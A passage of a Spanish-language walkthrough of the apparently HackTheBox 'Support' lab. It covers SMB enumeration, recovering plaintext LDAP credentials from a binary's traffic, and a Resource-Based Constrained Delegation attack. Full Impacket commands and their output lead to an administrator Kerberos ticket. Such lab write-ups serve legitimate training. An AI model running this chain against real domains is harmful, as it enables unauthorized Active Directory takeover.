| Check 1 (port 19155/tcp): CLEAN (Timeout)
| Check 2 (port 37046/tcp): CLEAN (Timeout)
| Check 3 (port 25972/udp): CLEAN (Timeout)
| Check 4 (port 12574/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 5s
| smb2-time:
| date: 2025-12-26T16:40:34
|_ start_date: N/A

SMB (445)

Se puede enumerar mediante null session.

Recogemos herramientas para el análisis y llama la atención UserInfo.exe. Lo descomprimimos y revisamos DLLs y ficheros de configuración. Con strings no aparece nada útil inicialmente.

Análisis de UserInfo.exe (extracción de credenciales)

Para poder ejecutar el binario desde Kali, instalamos dependencias y lo probamos con mono.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Support/loot]
└─# mono UserInfo.exe -find 

Usage: UserInfo.exe [options] [commands]

Options:
 -v|--verbose Verbose output

Commands:
 find Find a user
 user Get information about a user

'-find' is not recognized as a valid command or option.

Did you mean:
 find


┌──(root㉿kali)-[/home/…/Desktop/HTB/Support/loot]
└─# mono UserInfo.exe find 
[-] At least one of -first or -last is required.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Support/loot]
└─# mono UserInfo.exe find -first lala 
[-] Exception: Connect Error

Aparece un Connect Error. Abrimos Wireshark para entender qué ocurre.

La causa es que necesitamos resolver el dominio (añadir el nombre de dominio a la IP, para que el DNS resuelva correctamente).

Al revisar el tráfico, vemos que UserInfo.exe se comunica con el servidor usando el usuario ldap.

Lo importante: las credenciales viajan en texto plano, así que obtenemos el primer par usuario:contraseña.

ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

Enumeración de AD

Con estas credenciales lanzamos enumeración con BloodHound.

No aparece un camino directo, pero destaca el usuario support.htb, ya que pertenece a un grupo no estándar.

Como BloodHound no siempre recoge todo, enumeramos también vía LDAP para obtener campos adicionales (por ejemplo, info).

ldapsearch -H ldap://support.htb -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'DC=support,DC=htb' > ldap.out

En la salida encontramos una credencial en claro en el campo info de un usuario.

support.htb:Ironside47pleasure40Watchful

Con esto obtenemos la user flag.

Escalada: Resource-Based Constrained Delegation (RBCD)

A partir del grafo de BloodHound, el camino a Domain Admin pasa por RBCD.

Resumen rápido de RBCD

Objetivo: lograr que un equipo/servicio acepte que nuestra cuenta puede suplantar (impersonate) a otro usuario al pedir tickets Kerberos.
Idea: crear una cuenta de máquina controlada por el atacante, permitirle actuar en nombre de otros sobre el objetivo y luego solicitar un ticket para un servicio del objetivo suplantando a Administrator.

Paso 1: crear una cuenta de equipo controlada por el atacante

(Usamos Impacket para crear `ATTACKERSYSTEM$`.)

┌──(root㉿kali)-[/home/kali]
└─# impacket-addcomputer -method SAMR -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host 10.129.230.181 -domain-netbios support.htb 'support.htb/support:Ironside47pleasure40Watchful'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2018!.

Paso 2: permitir delegación sobre el objetivo (DC$)

Escribimos el atributo para que `ATTACKERSYSTEM$` pueda actuar en nombre de otros usuarios sobre el objetivo.

┌──(root㉿kali)-[/home/kali]
└─# impacket-rbcd -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC$' -action 'write' -dc-ip 10.129.230.181 'support.htb/support:Ironside47pleasure40Watchful'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKERSYSTEM$ (S-1-5-21-1677581083-3380853377-188903654-6103)

Paso 3: solicitar un Service Ticket suplantando a Administrator

┌──(root㉿kali)-[/home/kali]
└─# impacket-getST -spn 'cifs/dc.support.htb' -impersonate 'administrator' 'support.htb/attackersystem$:Summer2018!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

klist

export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Con el ticket en sesión, ya tenemos acceso como administrator.